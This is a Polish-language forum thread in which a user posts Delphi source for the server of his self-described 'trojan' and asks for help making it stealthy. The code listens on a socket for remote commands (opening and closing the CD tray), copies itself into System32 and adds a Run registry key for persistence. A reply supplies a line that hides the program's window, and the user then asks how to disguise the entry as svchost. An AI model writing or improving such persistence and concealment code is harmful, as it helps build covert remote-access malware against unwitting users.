problem nie ukrywa sie

[budzyn]

mam taki problem (z serwerem mojego trojana)
napisalem go z pomoca poradnika slaya, tylko ze mam taki problem ze on przy starcie windows nie ukrywa sie, musi byc caly czas wlaczony zeby dzialal;/
***********************************************************
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, shellapi, mmsystem, registry, ScktComp;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);

var
s:string;
begin

s:=serversocket1.Socket.Connections[0].ReceiveText;

if (s='cdopen') then
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;

if (s='close') then
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);

var
reg:tregistry;
begin

Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;

procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0
end;

end.
*******************************************************
pomóżcie :-x

 

[FDJ]

Chodzi ci o to ze forma jest widoczna ?? Jak tak to wpisz w oncreate formy Application.ShowMainform:= false;

Dzieki SZKOD[nick]

 

[budzyn]

heh dzieki

, a moze wiesz jak zmienic to zeby w rejestrze server byl wyswietlany jako svchost czy jakis inny proces systemowy :?

 

[FDJ]

Zrudla ci nie dam :] ,ale na kieruje na mala pomoc

http://www.delphi.qs.pl/faq1.php3
http://www.c4f.pl/readarticle.php?article_id=4
http://4programmers.net/Delphi/FAQ

Jak nie bedziesz nic rozumial nie zalamuj sie tylko posiedz nad tekstami i pokombinuj na pewno sie uda.